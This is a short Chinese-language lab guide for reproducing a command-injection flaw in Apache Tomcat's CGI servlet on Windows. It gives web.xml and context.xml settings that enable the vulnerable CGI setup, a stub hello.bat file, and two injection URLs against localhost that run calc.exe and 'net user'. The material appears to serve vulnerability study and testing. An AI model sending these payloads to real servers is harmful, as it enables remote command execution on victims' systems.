漏洞环境
编辑 web.xml 文件
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
编辑 content.xml 文件
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
创建 hello.bat 文件
echo Content-type: text/html //whatever the content in batch file
将 WEB-INF 目录移动到 $CATALINA_HOME/webapps/ROOT，然后重启 tomcat 服务器
向目标 tomcat 服务器发送包含 Windows 操作系统命令注入的请求
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
http://localhost:8080/cgi-bin/hello.bat?&net+user
